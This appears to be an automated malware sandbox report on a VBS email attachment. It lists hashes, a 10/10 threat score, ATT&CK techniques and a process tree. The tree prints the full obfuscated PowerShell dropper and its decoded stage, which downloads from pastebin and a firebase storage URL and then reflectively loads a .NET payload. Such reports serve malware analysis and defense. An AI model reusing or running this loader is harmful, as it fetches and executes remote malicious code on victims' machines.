b08e83b034213d1c4d33e29c63d8d24b99684c2714e29ae3b3aaec34d5c8d134

General

Target
Malicious script from email.vbs
Size 5KB
Sample241001-xkwycsvglk
SHA256 b08e83b034213d1c4d33e29c63d8d24b99684c2714e29ae3b3aaec34d5c8d134
MD5 42c7a5e0016caaa5ecfa93ee6245eb36
SHA1 afe8f0faa6b571a194ce9f645a4b8fb43f92e2d4
SHA512 7c0a21fb835a7f24815fb87a4a64d0df0c58e60d6d2ad4804bf7f257fe4ccb67eb1f4ab9222b61d04b8b7e4feb4b184b8860d0bf01fbe470677cfd1ace29478d
SSDEEP 96:JAqUcAePyt8dAlAujjbV0kUTyW67lwM+CIpW2ckE7csvBkm3rh:p9PZIVqTylwM+QUQBkmt
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
https://pastebin.com/raw/V9y5Q5vv
exe.dropper
https://pastebin.com/raw/V9y5Q5vv

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2668	powershell.exe
7	2668	powershell.exe
8	2668	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2680	powershell.exe
2668	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
4	pastebin.com
5	pastebin.com
6	bitbucket.org
7	bitbucket.org
8	bitbucket.org

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2680	powershell.exe
2668	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1988 wrote to memory of 2680	1988	WScript.exe	30
PID 1988 wrote to memory of 2680	1988	WScript.exe	30
PID 1988 wrote to memory of 2680	1988	WScript.exe	30
PID 2680 wrote to memory of 2668	2680	powershell.exe	32
PID 2680 wrote to memory of 2668	2680	powershell.exe	32
PID 2680 wrote to memory of 2668	2680	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Malicious script from email.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'Jâ˜†Blâ˜†Gcâ˜†dQBpâ˜†Hoâ˜†Iâ˜†â˜†9â˜†Câ˜†â˜†Jwâ˜†wâ˜†Ccâ˜†Owâ˜†kâ˜†Hoâ˜†câ˜†Bqâ˜†Gsâ˜†bQâ˜†gâ˜†D0â˜†Iâ˜†â˜†nâ˜†CUâ˜†câ˜†B6â˜†EEâ˜†YwBPâ˜†Gcâ˜†SQBuâ˜†E0â˜†cgâ˜†lâ˜†Ccâ˜†OwBbâ˜†FMâ˜†eQBzâ˜†HQâ˜†ZQBtâ˜†C4â˜†TgBlâ˜†HQâ˜†LgBTâ˜†GUâ˜†cgB2â˜†Gkâ˜†YwBlâ˜†Fâ˜†â˜†bwBpâ˜†G4â˜†dâ˜†BNâ˜†GEâ˜†bgBhâ˜†Gcâ˜†ZQByâ˜†F0â˜†Ogâ˜†6â˜†FMâ˜†ZQBjâ˜†HUâ˜†cgBpâ˜†HQâ˜†eQBQâ˜†HIâ˜†bwB0â˜†G8â˜†YwBvâ˜†Gwâ˜†Iâ˜†â˜†9â˜†Câ˜†â˜†WwBTâ˜†Hkâ˜†cwB0â˜†GUâ˜†bQâ˜†uâ˜†E4â˜†ZQB0â˜†C4â˜†UwBlâ˜†GMâ˜†dQByâ˜†Gkâ˜†dâ˜†B5â˜†Fâ˜†â˜†cgBvâ˜†HQâ˜†bwBjâ˜†G8â˜†bâ˜†BUâ˜†Hkâ˜†câ˜†Blâ˜†F0â˜†Ogâ˜†6â˜†FQâ˜†bâ˜†Bzâ˜†DEâ˜†Mgâ˜†7â˜†CQâ˜†Uâ˜†B4â˜†EUâ˜†Tâ˜†BYâ˜†Câ˜†â˜†PQâ˜†gâ˜†Ccâ˜†aâ˜†B0â˜†HQâ˜†câ˜†Bzâ˜†Doâ˜†Lwâ˜†vâ˜†Hâ˜†â˜†YQBzâ˜†HQâ˜†ZQBiâ˜†Gkâ˜†bgâ˜†uâ˜†GMâ˜†bwBtâ˜†C8â˜†cgBhâ˜†Hcâ˜†LwBWâ˜†Dkâ˜†eQâ˜†1â˜†FEâ˜†NQB2â˜†HYâ˜†Jwâ˜†7â˜†CQâ˜†SQBIâ˜†Hâ˜†â˜†Tâ˜†Bxâ˜†Câ˜†â˜†PQâ˜†gâ˜†Cgâ˜†TgBlâ˜†Hcâ˜†LQBPâ˜†GIâ˜†agBlâ˜†GMâ˜†dâ˜†â˜†gâ˜†E4â˜†ZQB0â˜†C4â˜†VwBlâ˜†GIâ˜†QwBsâ˜†Gkâ˜†ZQBuâ˜†HQâ˜†KQâ˜†uâ˜†EQâ˜†bwB3â˜†G4â˜†bâ˜†Bvâ˜†GEâ˜†Zâ˜†BTâ˜†HQâ˜†cgBpâ˜†G4â˜†Zwâ˜†oâ˜†Câ˜†â˜†Jâ˜†BQâ˜†Hgâ˜†RQBMâ˜†Fgâ˜†Iâ˜†â˜†gâ˜†Ckâ˜†Owâ˜†kâ˜†FIâ˜†QwBrâ˜†FYâ˜†Sgâ˜†gâ˜†D0â˜†Iâ˜†â˜†oâ˜†E4â˜†ZQB3â˜†C0â˜†TwBiâ˜†Goâ˜†ZQBjâ˜†HQâ˜†Iâ˜†BOâ˜†GUâ˜†dâ˜†â˜†uâ˜†Fcâ˜†ZQBiâ˜†EMâ˜†bâ˜†Bpâ˜†GUâ˜†bgB0â˜†Ckâ˜†LgBEâ˜†G8â˜†dwBuâ˜†Gwâ˜†bwBhâ˜†GQâ˜†UwB0â˜†HIâ˜†aQBuâ˜†Gcâ˜†Kâ˜†â˜†gâ˜†CQâ˜†SQBIâ˜†Hâ˜†â˜†Tâ˜†Bxâ˜†Câ˜†â˜†KQâ˜†uâ˜†HIâ˜†ZQBwâ˜†Gwâ˜†YQBjâ˜†GUâ˜†Kâ˜†â˜†nâ˜†CQâ˜†JQâ˜†nâ˜†Cwâ˜†JwBBâ˜†Ccâ˜†KQâ˜†7â˜†Fsâ˜†QgB5â˜†HQâ˜†ZQBbâ˜†F0â˜†XQâ˜†gâ˜†CQâ˜†ZQBoâ˜†HYâ˜†ZwBqâ˜†Câ˜†â˜†PQâ˜†gâ˜†Fsâ˜†cwB5â˜†HMâ˜†dâ˜†Blâ˜†G0â˜†LgBDâ˜†G8â˜†bgB2â˜†GUâ˜†cgB0â˜†F0â˜†Ogâ˜†6â˜†EYâ˜†cgBvâ˜†G0â˜†QgBhâ˜†HMâ˜†ZQâ˜†2â˜†DQâ˜†UwB0â˜†HIâ˜†aQBuâ˜†Gcâ˜†Kâ˜†â˜†gâ˜†CQâ˜†UgBDâ˜†Gsâ˜†VgBKâ˜†Câ˜†â˜†KQâ˜†7â˜†Fsâ˜†cwB5â˜†HMâ˜†dâ˜†Blâ˜†G0â˜†LgBBâ˜†Hâ˜†â˜†câ˜†BEâ˜†G8â˜†bQBhâ˜†Gkâ˜†bgBdâ˜†Doâ˜†OgBDâ˜†HUâ˜†cgByâ˜†GUâ˜†bgB0â˜†EQâ˜†bwBtâ˜†GEâ˜†aQBuâ˜†C4â˜†Tâ˜†Bvâ˜†GEâ˜†Zâ˜†â˜†oâ˜†CQâ˜†ZQBoâ˜†HYâ˜†ZwBqâ˜†Ckâ˜†LgBHâ˜†GUâ˜†dâ˜†BUâ˜†Hkâ˜†câ˜†Blâ˜†Cgâ˜†JwBUâ˜†GUâ˜†aâ˜†B1â˜†Gwâ˜†YwBoâ˜†GUâ˜†cwBYâ˜†Hgâ˜†Wâ˜†B4â˜†Hgâ˜†LgBDâ˜†Gwâ˜†YQBzâ˜†HMâ˜†MQâ˜†nâ˜†Ckâ˜†LgBHâ˜†GUâ˜†dâ˜†BNâ˜†GUâ˜†dâ˜†Boâ˜†G8â˜†Zâ˜†â˜†oâ˜†Ccâ˜†TQBzâ˜†HEâ˜†QgBJâ˜†GIâ˜†WQâ˜†nâ˜†Ckâ˜†LgBJâ˜†G4â˜†dgBvâ˜†Gsâ˜†ZQâ˜†oâ˜†CQâ˜†bgB1â˜†Gwâ˜†bâ˜†â˜†sâ˜†Câ˜†â˜†WwBvâ˜†GIâ˜†agBlâ˜†GMâ˜†dâ˜†Bbâ˜†F0â˜†XQâ˜†gâ˜†Cgâ˜†Jwâ˜†wâ˜†DMâ˜†MQBhâ˜†Dgâ˜†Zgâ˜†wâ˜†Dkâ˜†NQâ˜†1â˜†DMâ˜†Ywâ˜†tâ˜†DQâ˜†Ygâ˜†3â˜†GEâ˜†LQBhâ˜†DEâ˜†Ywâ˜†0â˜†C0â˜†Mâ˜†â˜†4â˜†GUâ˜†Ngâ˜†tâ˜†GUâ˜†Nwâ˜†yâ˜†DQâ˜†ZgBiâ˜†Dgâ˜†Nwâ˜†9â˜†G4â˜†ZQBrâ˜†G8â˜†dâ˜†â˜†mâ˜†GEâ˜†aQBkâ˜†GUâ˜†bQâ˜†9â˜†HQâ˜†bâ˜†Bhâ˜†D8â˜†dâ˜†B4â˜†HQâ˜†LgB0â˜†HMâ˜†ZQB0â˜†C8â˜†bwâ˜†vâ˜†G0â˜†bwBjâ˜†C4â˜†dâ˜†Bvâ˜†Hâ˜†â˜†cwBwâ˜†Hâ˜†â˜†YQâ˜†uâ˜†DUâ˜†Mâ˜†â˜†0â˜†DYâ˜†ZQâ˜†tâ˜†GUâ˜†cgBpâ˜†GYâ˜†LwBiâ˜†C8â˜†Mâ˜†B2â˜†C8â˜†bQBvâ˜†GMâ˜†LgBzâ˜†Gkâ˜†câ˜†Bhâ˜†GUâ˜†bâ˜†Bnâ˜†G8â˜†bwBnâ˜†C4â˜†ZQBnâ˜†GEâ˜†cgBvâ˜†HQâ˜†cwBlâ˜†HMâ˜†YQBiâ˜†GUâ˜†cgBpâ˜†GYâ˜†Lwâ˜†vâ˜†Doâ˜†cwBwâ˜†HQâ˜†dâ˜†Boâ˜†Ccâ˜†Iâ˜†â˜†sâ˜†Câ˜†â˜†Jâ˜†B6â˜†Hâ˜†â˜†agBrâ˜†G0â˜†Iâ˜†â˜†sâ˜†Câ˜†â˜†JwB1â˜†Hâ˜†â˜†Zâ˜†Bhâ˜†HQâ˜†ZQBjâ˜†G8â˜†bwBrâ˜†Gkâ˜†ZQâ˜†uâ˜†GUâ˜†eâ˜†Blâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†Xwâ˜†tâ˜†C0â˜†LQâ˜†tâ˜†C0â˜†LQâ˜†tâ˜†Ccâ˜†Lâ˜†â˜†gâ˜†CQâ˜†ZQBnâ˜†HUâ˜†aQB6â˜†Cwâ˜†Iâ˜†â˜†nâ˜†DEâ˜†Jwâ˜†sâ˜†Câ˜†â˜†JwBSâ˜†G8â˜†Zâ˜†Bhâ˜†Ccâ˜†Iâ˜†â˜†pâ˜†Ckâ˜†Owâ˜†=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('â˜†','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\Malicious script from email.vbs');powershell $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$eguiz = '0';$zpjkm = 'C:\Users\Admin\AppData\Local\Temp\Malicious script from email.vbs';[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$PxELX = 'https://pastebin.com/raw/V9y5Q5vv';$IHpLq = (New-Object Net.WebClient).DownloadString( $PxELX );$RCkVJ = (New-Object Net.WebClient).DownloadString( $IHpLq ).replace('$%','A');[Byte[]] $ehvgj = [system.Convert]::FromBase64String( $RCkVJ );[system.AppDomain]::CurrentDomain.Load($ehvgj).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('031a8f09553c-4b7a-a1c4-08e6-e724fb87=nekot&aidem=tla?txt.tset/o/moc.topsppa.5046e-erif/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $zpjkm , 'updatecookie.exe____________________________________________-------', $eguiz, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 08548f2a506d2b53572eb046b74a766c682c86962565f6bcd73e1ce73efe41e9
MD5 2e48dc112631f25d1e77369fdac5d415
SHA1 b16226a93abd87556d8c4fb2622217cb08001f4c
SHA512 59a5f71a0b5bb85e54f1c32b6ddb4a56fd6db4c62d707aab377e3635a8689ad5f9dc299fc5acbab0126235e9b200c563465605bcb28841c9185f6e663b21f252
SSDEEP 96:gJaCweM8DnqvsqvJCwo5JaCweM8DnqvsEHyqvJCworspuHQHbE7uNXlUVc3l:QPvUoHPvAHnorswGE7uNL
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2680-4-0x000007FEF617E000-0x000007FEF617F000-memory.dmp

Download

memory/2680-5-0x000000001B580000-0x000000001B862000-memory.dmp

Download

memory/2680-6-0x0000000002990000-0x0000000002998000-memory.dmp

Download

memory/2680-7-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Download

memory/2680-8-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Download

memory/2680-10-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Download

memory/2680-15-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads